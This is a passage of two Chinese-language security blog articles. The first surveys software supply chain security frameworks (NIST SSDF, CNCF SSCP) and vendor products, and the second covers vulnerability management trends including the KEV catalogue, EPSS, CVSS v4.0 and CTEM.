PO.2 实施角色和职责
PO.3 实施支持性工具链

2. 保护软件(PS): 保护所有软件组件免受篡改和未经授权的访问。

PS.1 保护所有形式的代码
PS.2 提供软件发布完整性验证机制
PS.3 归档和保护每个软件版本

3. 生产优质软件(PW): 生产具有最少安全漏洞的优质软件。

PW.1 设计符合安全要求的软件
PW.2 审查设计以验证符合安全要求
PW.3 验证第三方软件符合安全要求
PW.4 重用经过验证的安全软件
PW.5 创建安全的源代码
PW.6 配置编译、解释器和构建过程
PW.7 审查和/或分析人类可读代码
PW.8 测试可执行代码
PW.9 配置软件以具有安全设置

4. 应对漏洞(RV): 识别剩余的漏洞并采取适当的响应措施。

RV.1 识别和确认漏洞
RV.2 评估、优先处理和修复漏洞
RV.3 分析漏洞以识别根本原因

SSDF的一个关键优势是其灵活性和适应性。它不规定具体的实施方法，而是关注预期的安全成果，使得不同规模和类型的组织都能根据自身情况来应用这些实践。NIST 800-218框架基本沿用NIST 800-53以及CSF的框架的语境扩展，可以作为相对宏观的一种指导框架。同时也可以参照NIST 800-161进行比较。

比较方面	NIST 800-161	NIST 800-218
主要焦点	供应链风险管理 (C-SCRM)	安全软件开发框架 (SSDF)
范围	整个信息和通信技术 (ICT) 供应链	软件开发生命周期
目标受众	组织的供应链管理者和安全专业人员	软件开发者、软件采购者和安全专业人员
主要内容	供应链风险管理实践和控制措施	安全软件开发实践和建议
实施方法	基于风险的方法来管理供应链安全	集成到现有软件开发生命周期中的安全实践

总的来说，NIST 800-161和NIST 800-218虽然关注点不同，但它们在供应链安全和软件开发安全方面相互补充。组织可以结合使用这两个标准来建立更全面、更强大的安全策略。例如，可以使用800-161来管理整体供应链风险，同时使用800-218来确保供应链中的软件开发过程符合安全标准。

在实践中，这种结合使用像这样：组织使用800-161来评估和管理其ICT供应链风险，包括识别关键供应商和评估其安全实践。然后，对于涉及软件开发的供应商，组织可以使用800-218中的指南来评估和改进这些供应商的软件开发安全实践。这种方法可以帮助组织在整个供应链中建立一个连贯的安全框架，从而更好地管理风险和提高整体安全性。

图6 软件供应链和传统供应链的对照关系图

2.2 CNCF软件供应链安全最佳实践 (SSCP)

CNCF的软件供应链安全最佳实践(SSCP)提供了一个更加针对云原生环境的框架。它将软件供应链安全分为五个主要阶段，并且每个阶段也分为四个部分，验证（Verification）、自动化（Automation）、环境授权（Authorization）和认证（Authentication）。

1. 源代码安全：

要求签名提交：所有代码提交都应该经过数字签名，以确保其来源和完整性。
使用分支保护规则：实施严格的分支保护策略，限制直接推送到主分支的权限。
防止将认证信息提交到代码库：使用自动化工具检测和阻止敏感信息（如密钥、密码）被提交到代码库。
定义贡献政策和角色：明确规定谁可以贡献代码，以及贡献的流程和标准。
实施代码审查：要求所有代码更改在合并前经过同行审查。
使用静态代码分析工具：自动检测潜在的安全漏洞和编码问题。

2. 物料安全：

验证第三方工件和开源库：对所有外部依赖项进行安全性和完整性检查。
跟踪开源组件之间的依赖关系：维护一个详细的依赖关系图，以便于识别潜在的风险。
扫描软件漏洞：定期扫描所有依赖项，检查已知的安全漏洞。
许可证合规性检查：确保所有使用的开源组件符合许可证要求。
维护软件物料清单（SBOM）：创建并维护一个详细的组件清单，包括所有直接和间接依赖项。
实施漏洞管理流程：制定明确的流程来处理发现的漏洞，包括评估、修复和通知。

3. 构建安全：

自动化构建和CI/CD步骤：尽可能自动化构建过程，减少人为错误。
标准化项目间的管道：在所有项目中使用一致的构建和部署流程。
部署安全的编排平台：使用安全配置的容器编排平台（如Kubernetes）来管理构建环境。
隔离每个构建步骤的职责：确保每个构建步骤只能访问它所需要的资源。
实施最小权限原则：为每个构建步骤和工具分配最小必要的权限。
加密敏感数据：确保在构建过程中使用的所有敏感信息（如凭证）都经过加密。
记录和审计构建过程：保留详细的构建日志，并定期审计以检测异常。

构建安全是基于前两步的安全机制下，进行的更近一步的安全保证。前提是保证了相关的源代码和依赖库的安全前提下进行的构建安全规划。

图7 应用软件依赖样例图

4. 制品安全：

签名构建过程的每个步骤：为构建过程中的每个重要步骤生成数字签名。
验证每个步骤生成的签名：在后续步骤中验证先前步骤的签名，确保完整性。
使用TUF/Notary管理工件签名：采用The Update Framework (TUF) 或 Notary 等工具来管理和验证工件签名。
实施不可变的工件版本控制：一旦工件被创建和签名，就不应该被修改。
安全存储工件：使用安全的存储系统来保存构建工件，限制访问权限。
实施工件扫描：在发布前对工件进行安全扫描，检查潜在的漏洞或恶意代码。

5. 部署安全：

确保客户端可以验证工件和元数据：提供机制让最终用户验证下载的软件的完整性和真实性。
确保客户端可以验证文件的"新鲜度"：实施机制确保用户能够检查他们是否拥有最新版本的软件。
使用The Update Framework (TUF)：采用TUF来提供安全的软件更新机制。
实施安全的配置管理：确保部署环境的配置是安全的，并且经过版本控制。
自动化部署过程：使用自动化工具进行部署，减少人为错误和安全风险。
实施蓝绿部署或金丝雀发布：使用这些技术来逐步推出更新，便于快速回滚。
监控和日志记录：持续监控部署环境，并保留详细的日志以便于审计和问题排查。

SSCP与NIST SSDF相比，更加聚焦于云原生环境和DevOps实践，为现代软件开发提供了更具操作性的指导。SSCP的核心理念是将安全考虑融入软件开发和部署的每个阶段，从源代码管理到最终部署。它强调了自动化、最小权限原则、持续监控和改进的重要性。通过实施这些实践，组织可以显著提高其软件供应链的安全性，减少安全漏洞和潜在的供应链攻击风险。

2.3 其他相关框架

SLSA (Supply chain Levels for Software Artifacts)：Google提出的框架，定义了四个递进的安全级别，帮助组织逐步提高其软件供应链安全性。
OpenSSF Scorecard：自动化工具，用于评估开源项目的安全实践，涵盖了代码审查、依赖管理等多个方面。
BSA安全软件框架：侧重于软件开发生命周期的安全实践，包括安全设计、安全编码、测试和验证等方面。

这些框架各有侧重，但都致力于提高软件供应链的整体安全性。组织可以根据自身需求和能力，选择合适的框架或综合多个框架的优点来指导实践。

3. 软件供应链安全产品技术分析

图8 软件供应链安全厂商全景图

3.1 源代码安全

1. 平台解决方案：

GitHub Advanced Security：

提供代码扫描、秘密扫描和依赖审查等功能。
与GitHub的开发工作流深度集成，提供无缝的安全体验。

GitLab安全功能：

包括SAST、DAST、容器扫描和依赖扫描等多种安全工具。
支持自动化安全测试和漏洞管理。

2. 新兴厂商：

Arnica：

使用行为分析来识别潜在的安全风险。
提供实时代码扫描，即时发现并通知开发者安全问题。
自动化权限管理，基于历史访问模式动态调整权限。

Jit.io：

开源安全编排平台，支持集成多种安全工具。
提供预定义的安全计划，帮助团队达成特定的安全目标。
支持多种合规框架，如AWS FTR和OWASP Top 10。

3.2 构建与流水线安全

1. 软件成分分析(SCA)：

Snyk：

拥有自己的漏洞数据库，支持多种编程语言和包管理器。
提供自动修复PR功能，简化漏洞修复过程。
支持许可合规检查和SBOM生成。

Semgrep Supply Chain：

使用可达性分析来减少误报，聚焦于实际可利用的漏洞。
提供依赖搜索功能，方便快速定位特定依赖的使用情况。
支持SBOM导出，便于合规管理。

Endor Labs：

使用程序分析技术进行深度依赖分析。
提供多维度的风险评估，包括漏洞可利用性、修复可用性等。
支持生成带有VEX信息的SBOM，提供更丰富的漏洞上下文。

2. 恶意依赖检测：

Socket：

提供实时依赖检测，快速识别潜在的恶意包。
对依赖进行风险评估，包括行为分析和能力评估。
与GitHub深度集成，直接在PR中提供依赖安全反馈。

Phylum：

利用大数据和机器学习技术分析开源包的安全性。
提供开源沙箱(Birdcage)，限制包的网络和磁盘访问。
持续监控主要开源生态系统，提供全面的威胁情报。

Datadog GuardDog：

开源解决方案，使用Semgrep进行静态分析。
支持Python和npm包的扫描。
可集成到CI/CD流程中，自动扫描新引入的依赖。

3. CI/CD安全：

OX Security：

引入PBOM(Pipeline Bill of Materials)概念，提供软件开发全生命周期的可见性。
提供工作流自动化和安全姿态管理，确保CI/CD流程的安全。
基于OSC&R框架构建，提供全面的供应链威胁防护。

Cycode：

使用eBPF技术检测构建过程中的攻击。
提供构建强化功能，防止恶意依赖和篡改。
包括代码泄露检测功能，降低源代码泄露的风险。

Tromzo：

提供产品安全运营平台(PSOP)，整合软件资产清单和CI/CD管道可见性。
提供CI/CD姿态管理，确保构建服务器和仓库的安全配置。
使用专有的Intelligence Graph来识别关键软件资产和高风险漏洞。

3.3 制品安全与部署

1. 容器安全：

Chainguard：

提供安全优先的容器基础镜像，减少攻击面。
支持在构建过程中生成SBOM。
提供持续验证功能，确保部署后的容器仍符合安全要求。

Aqua：

提供全面的容器安全解决方案，包括镜像扫描和运行时保护。
支持对各种容器环境的动态分析，包括VM和无服务器容器。
与多种容器注册表和Kubernetes平台集成。

Rapidfort：

引入RBOM(Real Bill of Materials)概念，通过容器优化减少漏洞警报。
自动优化容器，只包含必要的组件。
提供优化后的详细分析，说明移除了哪些文件、包和漏洞。

2. SBOM与代码来源：

Chainguard Enforce：

提供基于SLSA和NIST框架的策略管理。
支持合规自动化，自动生成SBOM。
提供生产环境洞察，实时查看部署状态。

Legit Security：

提供ASPM(应用程序安全姿态管理)工具，实现从代码到云的可追溯性。
支持多种SBOM格式，如CycloneDX。
提供SBOM聚合和差异分析功能。

Apiiro：

引入XBOM(Extended Bill of Materials)概念，提供更全面的软件组件视图。
使用风险图谱来检测开源解决方案中的恶意包。
提供开发者行为分析，识别潜在的内部威胁。

结论

软件供应链安全是一个多维度、全生命周期的挑战。通过对主流框架的深入理解、核心问题的准确把握，以及对市场解决方案的分析，我们可以得出以下几点结论：

1. 综合框架应用：没有一个单一的框架能够解决所有软件供应链安全问题。组织需要根据自身情况，综合运用NIST SSDF、CNCF SSCP等框架，建立适合自己的安全实践。

2. 全面风险管理：软件供应链安全不仅仅是技术问题，还涉及流程、人员和治理等多个方面。组织需要采取全面的风险管理方法，从源代码到部署的每个环节都要考虑安全因素。

3. 自动化和持续性：鉴于现代软件开发的快速迭代特性，安全措施必须是自动化和持续的。这包括自动化的漏洞扫描、依赖分析、SBOM生成等。

4. 生态系统协作：软件供应链安全是一个共同责任。开源社区、商业供应商、安全研究人员和最终用户需要加强合作，共同提高整个生态系统的安全性。

5. 平衡安全与效率：虽然安全至关重要，但不应成为创新和效率的阻碍。优秀的软件供应链安全解决方案应该能够无缝集成到开发流程中，最小化对开发者工作的干扰。

6. 重视新兴技术：人工智能、机器学习等新兴技术正在改变软件开发和安全领域。组织应该密切关注这些技术的发展，并探索如何利用它们来增强供应链安全。

7. 合规性驱动：随着各国政府和行业组织对软件供应链安全的关注度提高，合规要求将成为推动组织采取行动的重要因素。然而，合规不应该是终点，而应该是持续改进的起点。

未来，随着软件在社会各个领域的深入应用，软件供应链安全的重要性将继续提升。我们可以预见，更多创新的解决方案将会涌现，帮助组织应对这一复杂的挑战。同时，行业标准和最佳实践将进一步成熟，为组织提供更清晰的指导。

阅读原文

跳转微信打开

漏洞管理新论：从KEV到CTEM

Mon, 08 Jul 2024 18:00:00 +0800

原创程度 2024-07-08 18:00 北京

漏洞管理(Vulnerability Management)作为信息安全领域中最为人熟知的概念之一，一直是安全运营的核心活动。本文将探讨KEV目录、EPSS等新兴的漏洞评估方法，以及CTEM等前瞻性框架如何帮助组织更好地应对当前的威胁环境。

概要

漏洞管理(Vulnerability Management)作为信息安全领域中最为人熟知的概念之一，一直是安全运营的核心活动。然而，随着网络威胁的不断演变和IT环境的日益复杂，传统的漏洞管理方法已经难以应对当前的安全挑战。近年来，业界出现了一些新的方法和工具，试图改变漏洞管理的范式。本文将深入探讨漏洞管理的最新趋势，从美国网络安全与基础设施安全局(CISA)的已知被利用漏洞(KEV)目录，到Gartner最近提出的持续威胁暴露管理(CTEM)框架，分析这些新方法如何改变漏洞管理的实践，并为安全团队提供更有效的风险管理策略。

值得注意的是，漏洞管理不等同于漏洞扫描，后者充其量只是整个过程中的一个步骤。真正有效的漏洞管理是一个涵盖识别、评估、优先级排序、修复和验证的完整闭环过程。随着攻击面的不断扩大和攻击者手法的日益复杂，我们需要重新思考漏洞管理的方法，将其从被动的合规驱动转变为主动的风险驱动。

本文将探讨KEV目录、EPSS等新兴的漏洞评估方法，以及CTEM等前瞻性框架如何帮助组织更好地应对当前的威胁环境。我们还将讨论漏洞管理工具的最新发展趋势，以及这些工具如何支持更加主动和持续的漏洞管理实践。

KEV目录：聚焦真实威胁

KEV目录的背景和目的

CISA的已知被利用漏洞(Known Exploited Vulnerabilities， KEV)目录于2021年11月3日首次发布，伴随着CISA发布的一项具有约束力的运营指令(BOD 22-01)。这一举措的背景是美国政府认识到，已知被利用的漏洞是恶意网络活动最常见的攻击途径之一，对公共部门和私营部门都构成了重大威胁。

KEV目录的主要目的是为联邦机构提供一个优先修复的漏洞清单，要求这些机构在规定的时间内(通常是两周内)修复列表中的漏洞。虽然这一指令主要针对联邦机构，但CISA也鼓励私营部门组织采用这一清单来指导其漏洞管理实践。

KEV目录的三个主要纳入标准是：

1. 该漏洞有一个分配的通用漏洞披露(CVE) ID。

2. 有可靠的证据表明该漏洞正在被积极利用。

3. 存在明确的修复行动，如供应商提供的更新。

这些标准确保了KEV目录中的漏洞都是真实存在的威胁，而不仅仅是理论上的风险。

KEV的特点和局限性

KEV目录的一个显著特点是它聚焦于"已知被利用"的漏洞，而不是仅仅依赖漏洞的严重性评分。这种方法有其独特的优势：

1. 直接关注真实威胁：KEV目录中的漏洞都有被攻击者积极利用的证据，因此代表了组织面临的真实和紧迫的威胁。

2. 简化优先级排序：通过关注一个相对较小的漏洞子集(截至2023年7月，KEV目录包含约965个漏洞，仅占所有已发布CVE的0.47%)，KEV目录帮助组织将有限的资源集中在最紧急的问题上。

3. 清晰的修复时间表：KEV目录为每个漏洞提供了建议的修复期限，这有助于组织制定明确的修复计划。

然而，KEV目录也存在一些局限性：

1. 覆盖范围有限：虽然KEV目录聚焦于最紧急的威胁，但它并不包括所有被利用的漏洞。根据Cisco的研究，约94%的已知被利用漏洞并未出现在KEV目录中。

2. 更新频率不一：KEV目录的更新并不总是及时的。有时，一个漏洞被公开利用后可能需要数月才会被添加到KEV目录中。

3. 缺乏环境上下文：KEV目录提供的是一个通用的优先级列表，没有考虑到特定组织的环境和风险状况。

4. 潜在的偏差：KEV目录可能会偏重于某些类型的产品或供应商，这可能不完全代表整个漏洞利用格局。

5. 存在新近度偏差。对于KEV，可能会忽略一些黑客仍然认为是好东西的老东西。

图1 KEV目录漏洞和CVE的关系图

图2 KEV 目录收录漏洞的时间

KEV在企业环境中的应用

尽管存在上述局限性，KEV目录仍然是一个有价值的工具，可以帮助组织改进其漏洞管理实践。根据Cisco的研究，98.3%的组织在其网络中至少检测到过一个KEV漏洞，这突显了KEV目录的相关性。

在实际应用中，组织可以考虑以下方法来有效利用KEV目录：

1. 将KEV作为优先修复的基线：将KEV目录中的漏洞作为修复的第一优先级，可以快速减少组织面临的已知威胁。

2. 与其他数据源结合使用：KEV目录应该与组织的资产清单、威胁情报和其他漏洞数据结合使用，以获得更全面的风险视图。

3. 自动化集成：将KEV目录集成到漏洞扫描和管理工具中，可以实现自动优先级排序和报告生成。

4. 性能指标跟踪：使用KEV漏洞的修复率作为衡量漏洞管理效果的一个关键指标。

5. 持续监控：定期检查KEV目录的更新，并将新添加的漏洞纳入优先修复计划。

然而，重要的是要认识到，KEV目录不应该是组织唯一的漏洞管理依据。它应该作为更广泛的风险基础漏洞管理(RBVM)策略的一部分，与其他评估方法和工具结合使用。

CVSS v4.0：漏洞评分的演进

CVSS 3的问题和局限性

通用漏洞评分系统(Common Vulnerability Scoring System， CVSS)长期以来一直是评估漏洞严重性的事实标准。CVSS 3提供了一个0到10的分数，反映了漏洞的固有特征。然而，随着时间的推移，CVSS 3的局限性变得越来越明显：

1. 过于关注技术影响：CVSS 3主要考虑漏洞的技术特征，如攻击复杂度和潜在影响，但没有考虑实际的利用可能性或组织环境。

2. 缺乏环境上下文：CVSS 3基础分数不考虑特定组织的环境因素，如资产重要性或现有的安全控制。

3. 分数膨胀：随着时间的推移，CVSS 3分数出现了"膨胀"趋势，越来越多的漏洞被评为"高"或"严重"，这降低了其作为优先级工具的有效性。

4. 更新滞后：CVSS 3分数通常在漏洞公开时分配，并且很少更新以反映新的信息或实际的利用情况。

5. 误导性的精确度：CVSS 3提供的精确到小数点后一位的分数可能给人一种虚假的精确性印象，而实际上这种精确度并不总是有意义的。

这些问题导致许多组织仅依赖CVSS 3分数来进行漏洞优先级排序时面临挑战。高CVSS 3分数的漏洞可能永远不会被实际利用，而一些较低分数的漏洞可能构成更紧迫的威胁。

图3 CVSS v3在KEV和可利用漏洞的分布情况

EPSS的原理和优势

为了解决CVSS 3的一些局限性，安全社区开发了漏洞利用预测评分系统(Exploit Prediction Scoring System， EPSS)。EPSS是一个数据驱动的模型，旨在预测漏洞在未来30天内被利用的可能性。

EPSS的主要特点和优势包括：

1. 基于实际数据：EPSS使用历史漏洞利用数据、漏洞特征和外部因素来训练其预测模型。

2. 动态更新：EPSS分数每天更新，反映最新的威胁情报和漏洞利用趋势。

3. 概率输出：EPSS提供一个0到1之间的概率分数，表示漏洞被利用的可能性，而不是严重性。

4. 关注实际风险：通过预测实际利用的可能性，EPSS帮助组织将资源集中在最可能构成实际威胁的漏洞上。

5. 补充而非替代：EPSS旨在补充CVSS等其他评分系统，提供额外的风险维度。

EPSS的一个关键优势是它可以帮助组织更有效地优先处理大量漏洞。例如，研究表明，通过关注EPSS分数最高的10%的漏洞，组织可以覆盖约60%的实际被利用的漏洞。

然而，EPSS也有其局限性。它主要关注短期利用可能性，可能不适合评估长期风险。此外，EPSS模型的准确性取决于其训练数据的质量和代表性，这可能因不同的技术领域而异。

CVSS 4的更新

CVSS v4.0是由FIRST (Forum of Incident Response and Security Teams)于2023年11月1日正式发布的最新版本通用漏洞评分系统。这是自2015年6月CVSS v3.0发布以来，时隔8年多的一次重大更新。CVSS v4.0的目标是为行业和公众提供更精确的漏洞评估方法。

CVSS v4.0的主要变化和改进包括：

1. 新的命名规则

CVSS v4.0引入了新的命名规则，以强调CVSS评分不仅仅是基础分数：

- CVSS-B：仅使用基础指标

- CVSS-BE：使用基础和环境指标

- CVSS-BT：使用基础和威胁指标

- CVSS-BTE：使用基础、威胁和环境指标

这种命名方式有助于明确使用了哪些指标组，避免过度依赖基础分数。

2. 基础指标组的改进

- 新增"攻击要求"(Attack Requirements， AT)指标，用于捕捉漏洞利用所需的先决条件，提供比"攻击复杂度"更细粒度的信息。

- "用户交互"(User Interaction， UI)指标细分为"被动"(Passive)和"主动"(Active)两种，更精确地描述所需的用户交互程度。

- 移除了"范围"(Scope)指标，代之以两组影响指标：

- 脆弱系统影响：机密性(VC)、完整性(VI)、可用性(VA)

- 后续系统影响：机密性(SC)、完整性(SI)、可用性(SA)

3. 威胁指标组的简化

- "时间指标组"更名为"威胁指标组"，更好地反映其动态特性。

- 移除了"修复级别"(RL)和"报告可信度"(RC)指标。

- "漏洞利用代码成熟度"(E)更名为"漏洞利用成熟度"(E)，并简化了其取值。

4. 新增补充指标组

引入了可选的"补充指标组"，提供额外的上下文信息，包括：

- 安全影响(Safety)

- 自动化可能性(Automatable)

- 恢复能力(Recovery)

- 供应商紧急程度(Provider Urgency)

- 价值密度(Value Density)

这些指标不影响CVSS分数计算，但有助于更全面地理解漏洞风险。

5. 改进的评分指南

CVSS v4.0提供了更详细的评分指南，旨在提高不同评估者之间的一致性。同时，它还为评估软件库漏洞提供了专门的指导。

6. 支持多重评分

CVSS v4.0设计为支持对同一漏洞在不同产品、平台或操作系统上进行多重评分，以更好地反映漏洞在不同环境中的风险差异。

7. 扩展性增强

CVSS v4.0提供了扩展框架的指南，使其可以适应其他行业领域，如隐私、汽车等。

总的来说，CVSS v4.0在保留了v3.x版本核心结构的同时，通过增加更多细粒度的指标和上下文信息，显著提高了评分的灵活性和准确性。真正重要的关键指标是可利用性（CVSS 4.0 解决了这一问题）、利用的证据（KEV解决了部分）以及利用的可能性（EPSS 中提到的）。

图4 CVSS v4.0的更新内容

CTEM：漏洞管理的未来方向

CTEM框架的五个步骤

持续威胁暴露管理(Continuous Threat Exposure Management， CTEM)是Gartner最近提出的一个框架，旨在帮助组织更系统地管理其威胁暴露。CTEM不仅仅关注漏洞，还包括更广泛的威胁暴露，如错误配置、过时的系统和不安全的实践。CTEM框架包括五个关键步骤：

1. 范围界定(Scoping)：

- 定义评估的范围，包括关键业务资产、流程和潜在的威胁向量。

- 确定评估的频率和深度。

- 与业务利益相关者合作，确保范围与组织的风险承受能力和优先级一致。

2. 发现(Discovery)：

- 使用各种工具和技术来识别范围内的所有资产和潜在的威胁暴露。

- 包括传统的漏洞扫描，以及新兴的技术如攻击面管理(ASM)和云安全态势管理(CSPM)。

- 考虑可修补和不可修补的威胁，包括配置错误和过时的系统。

3. 优先级排序(Prioritization)：

- 评估每个发现的暴露的潜在影响和利用可能性。

- 考虑资产的重要性、威胁情报和现有的安全控制。

- 使用先进的分析技术，如机器学习，来预测哪些暴露最可能被攻击者利用。

4. 验证(Validation)：

- 使用渗透测试、红队评估或漏洞利用模拟等技术来验证已识别的威胁是否真实可利用。

- 评估现有安全控制的有效性，识别潜在的绕过或失效点。

- 验证优先级排序的准确性，确保资源集中在最关键的威胁上。

5. 动员(Mobilization)：

- 制定并执行缓解或修复计划，针对已验证的高优先级威胁。

- 协调跨团队的工作，包括IT运营、安全团队和业务部门。

- 实施短期修复(如虚拟补丁)和长期解决方案(如系统升级或架构改进)。

- 持续监控和报告进展，确保关键威胁得到及时处理。

CTEM框架的核心理念是将威胁暴露管理视为一个持续的、循环的过程，而不是一次性的活动。每个周期都应该产生可操作的见解和具体的改进计划。

图5 CTEM 流程图

CTEM如何解决传统方法的不足

CTEM框架通过以下几个方面解决了传统漏洞管理方法的不足：

1. 全面的威胁暴露视图：

- 传统方法主要关注软件漏洞，而CTEM考虑了更广泛的威胁暴露，包括配置错误、过时系统和不安全实践。

- 这种全面的方法能更好地反映组织的实际风险状况。

2. 业务对齐：

- CTEM的范围界定步骤确保了评估与业务优先级和风险承受能力一致。

- 这有助于安全团队更好地与业务利益相关者沟通，获得必要的支持和资源。

3. 动态优先级排序：

- CTEM不仅考虑漏洞的技术严重性，还考虑了资产重要性、威胁情报和环境因素。

- 这种动态方法能更准确地反映实际风险，帮助组织更有效地分配资源。

4. 实际验证：

- 通过验证步骤，CTEM确保组织关注真正可利用的暴露，而不是理论上的风险。

- 这减少了误报，提高了修复工作的效率。

5. 跨团队协作：

- CTEM的动员步骤强调了跨团队协作的重要性，打破了传统的安全和IT运营之间的隔阂。

- 这种协作方法有助于更快速、更全面地解决问题。

6. 持续改进：

- CTEM是一个循环过程，强调持续评估和改进。

- 这种方法能够适应不断变化的威胁环境，确保组织的安全态势始终与时俱进。

实施CTEM的挑战和建议

尽管CTEM提供了一个强大的框架，但其实施仍面临一些挑战：

1. 技术复杂性：

- 挑战：CTEM需要整合多种工具和数据源，这可能导致技术复杂性增加。

- 建议：逐步实施CTEM，从关键业务领域开始。优先考虑能够集成和自动化的工具，以减少复杂性。

2. 数据质量和一致性：

- 挑战：CTEM依赖于准确和及时的数据，但组织可能面临数据质量和一致性问题。

- 建议：投资于资产管理和数据治理。实施数据质量检查和验证流程。

3. 持续性和一致性：

- 挑战：保持CTEM过程的持续性和一致性可能具有挑战性，特别是在面对其他业务优先事项时。

- 建议：将CTEM嵌入到组织的日常运营中。建立明确的KPI和定期审查机制。

4. 技能短缺：

- 挑战：CTEM需要广泛的技能，包括漏洞评估、威胁情报分析和风险管理，这些技能可能短缺。

- 建议：投资于员工培训和技能发展。考虑与外部专家合作或利用管理安全服务。

5. 变化管理：

- 挑战：转向CTEM方法可能需要重大的流程和文化变革。

- 建议：制定清晰的变革管理计划。通过早期的小规模成功来构建动力和支持。

实施建议：

1. 从小规模试点开始，逐步扩大范围。

2. 确保高层管理的支持和承诺。

3. 投资于自动化和集成工具，以提高效率。

4. 建立明确的指标来衡量CTEM的有效性和ROI。

5. 定期审查和调整CTEM流程，以适应不断变化的威胁环境。

通过解决这些挑战并遵循这些建议，组织可以更有效地实施CTEM，从而显著提高其整体安全态势。

漏洞管理工具的发展趋势

随着威胁环境的不断演变和组织IT基础设施的日益复杂，漏洞管理工具也在不断发展以满足新的需求。

图6 漏洞评估概览

以下是一些主要的发展趋势：

漏洞评估(VA)工具的新特性

1. 扩展的资产覆盖：

- 现代VA工具正在扩大其覆盖范围，不仅包括传统的IT资产，还包括云资产、容器、物联网设备和运营技术(OT)系统。

- 例如，许多工具现在提供云安全态势管理(CSPM)功能，以评估云配置和合规性。

2. 持续评估：

- 从周期性扫描转向持续评估，提供实时或近实时的漏洞洞察。

- 这通常通过代理技术或与其他安全工具的集成来实现。

3. 上下文感知评估：

- VA工具需要考虑资产的业务重要性和环境因素，而不仅仅是技术漏洞。

- 这包括集成资产管理数据和业务影响分析。

4. 自动化修复：

- 一些VA工具正在集成修复自动化功能，能够自动部署补丁或配置更改。

- 这通常与IT服务管理(ITSM)工具集成，以简化工作流程。

5. 高级分析和机器学习：

- 使用AI和机器学习来改进漏洞检测、误报减少和风险预测。

- 例如，使用历史数据和模式识别来预测潜在的高风险漏洞。

漏洞优先级技术(VPT)的兴起

VPT工具专注于帮助组织确定哪些漏洞应该首先修复。这些工具的主要特点包括：

1. 多维度风险评估：

- 结合CVSS分数、资产价值、威胁情报和环境因素来评估风险。

- 一些工具使用专有的风险评分模型，如Kenna Security的风险分数。

2. 威胁情报集成：

- 实时集成威胁情报，以识别正在被积极利用的漏洞。

- 这可能包括与CISA KEV目录等数据源的集成。

3. 预测分析：

- 使用机器学习模型来预测漏洞被利用的可能性，类似于EPSS。

- 一些工具还尝试预测漏洞的未来影响。

4. 可视化和报告：

- 提供高级可视化和报告功能，帮助安全团队和管理层更好地理解风险。

- 包括趋势分析、比较报告和自定义仪表板。

5. 工作流集成：

- 与漏洞管理、补丁管理和ITSM工具的深度集成，以简化修复过程。

- 一些工具提供自动化的修复建议和工单创建。

攻击模拟(BAS)等新技术的应用

漏洞管理领域正在整合一些新兴技术，以提供更全面的安全评估：

1. 漏洞和攻击模拟(BAS)：

- BAS工具模拟真实世界的攻击场景，测试组织的防御能力。

- 这些工具可以验证已知漏洞的可利用性，并测试安全控制的有效性。

- 例如，可以模拟特定的漏洞利用链，评估组织的检测和响应能力。

2. 攻击路径分析：

- 这些工具分析网络拓扑和配置，识别潜在的攻击路径。

- 帮助组织理解漏洞如何被链接起来形成更大的风险。

- 一些工具提供图形化表示，显示从最低权限到关键资产的潜在路径。

3. 外部攻击面管理(EASM)：

- EASM工具帮助组织发现和管理其外部暴露的资产和服务。

- 这对于识别影子IT和未经授权的云资产特别有用。

- 许多传统的VA供应商正在通过收购或内部开发来增加EASM功能。

4. 网络安全资产攻击面管理(CAASM)：

- CAASM工具聚合来自各种安全和IT工具的数据，提供资产的统一视图。

- 这有助于识别资产清单中的差距和重叠，以及关联资产与漏洞信息。

5. 自动化渗透测试：

- 一些工具正在自动化传统的渗透测试过程，允许更频繁和一致的测试。

- 这可以帮助组织快速识别新出现的漏洞和配置问题。

这些新兴技术的应用正在改变传统的漏洞管理方法，使其更加主动、持续和全面。组织越来越多地采用多工具方法，结合这些不同的技术来获得更完整的风险视图。

然而，这也带来了新的挑战，如工具集成、数据相关性和技能要求。安全团队需要适应这些新技术，并学会如何有效地利用它们来改善整体安全态势。

结语：走向持续、主动的漏洞管理

漏洞管理范式的转变

随着我们探讨了从KEV到CTEM的最新发展，以及漏洞管理工具的新趋势，可以清楚地看到漏洞管理正在经历一个重大的范式转变。这种转变可以概括为以下几个方面：

1. 从静态到动态：

- 传统的漏洞管理通常依赖于定期的扫描和评估。

- 新的方法强调持续监控和实时评估，以跟上快速变化的威胁环境。

2. 从孤立到整合：

- 漏洞管理不再是一个独立的安全功能，而是与威胁情报、资产管理、风险管理等领域紧密集成。

- 这种整合方法提供了更全面的安全视图。

3. 从技术导向到风险导向：

- 不再仅仅关注漏洞的技术严重性，而是更多地考虑业务风险和实际威胁。

- 这种方法帮助组织更有效地分配资源，关注最重要的问题。

4. 从被动响应到主动防御：

- 传统方法主要聚焦修复已知漏洞。

- 新方法强调预测和预防，使用高级分析和模拟技术来防范未来的威胁。

5. 从合规驱动到安全驱动：

- 虽然合规仍然重要，但更多组织认识到真正的安全需要超越最低合规要求。

- 重点转向建立真正有效的安全控制，而不仅仅是满足审计清单。

对安全团队的新要求

这种范式转变对安全团队提出了新的要求：

1. 跨领域知识：

- 安全专业人员需要扩展其技能集，超出传统的网络和系统安全。

- 需要了解云技术、DevOps实践、业务流程和风险管理。

2. 数据分析能力：

- 能够处理和解释大量数据变得越来越重要。

- 需要基本的数据科学和统计学知识，以有效利用高级分析工具。

3. 业务理解：

- 安全团队需要更深入地了解组织的业务目标和运营。

- 能够用业务术语而不是技术术语来沟通风险和安全问题变得至关重要。

4. 自动化和编程技能：

- 随着越来越多的安全流程被自动化，基本的编程和脚本编写技能变得越来越重要。

- 能够配置和维护复杂的安全工具和平台也很重要。

5. 风险管理思维：

- 需要培养对风险的深入理解，能够权衡不同的风险因素并做出明智的决策。

- 这包括理解组织的风险承受能力和如何将安全风险与业务风险对齐。

结论

漏洞管理正在从一个主要关注技术漏洞的孤立活动，转变为一个更全面、持续和以风险为导向的过程。从CISA的KEV目录到Gartner的CTEM框架，我们看到了一种更加成熟和战略性的方法正在形成。这种方法不仅考虑技术漏洞，还考虑更广泛的威胁暴露和业务风险。

新的工具和技术，如高级VPT系统、BAS和EASM，正在为组织提供更丰富的洞察力和更有效的风险管理能力。然而，这些进步也带来了新的复杂性和挑战，需要安全团队不断学习和适应。

未来的漏洞管理将更加智能、自动化和情境化。它将与更广泛的安全和业务流程紧密集成，使组织更有效地应对不断演变的威胁环境。但是，技术进步并不足以确保成功。组织还需要培养正确的文化、技能和流程，以充分利用这些新方法和工具。

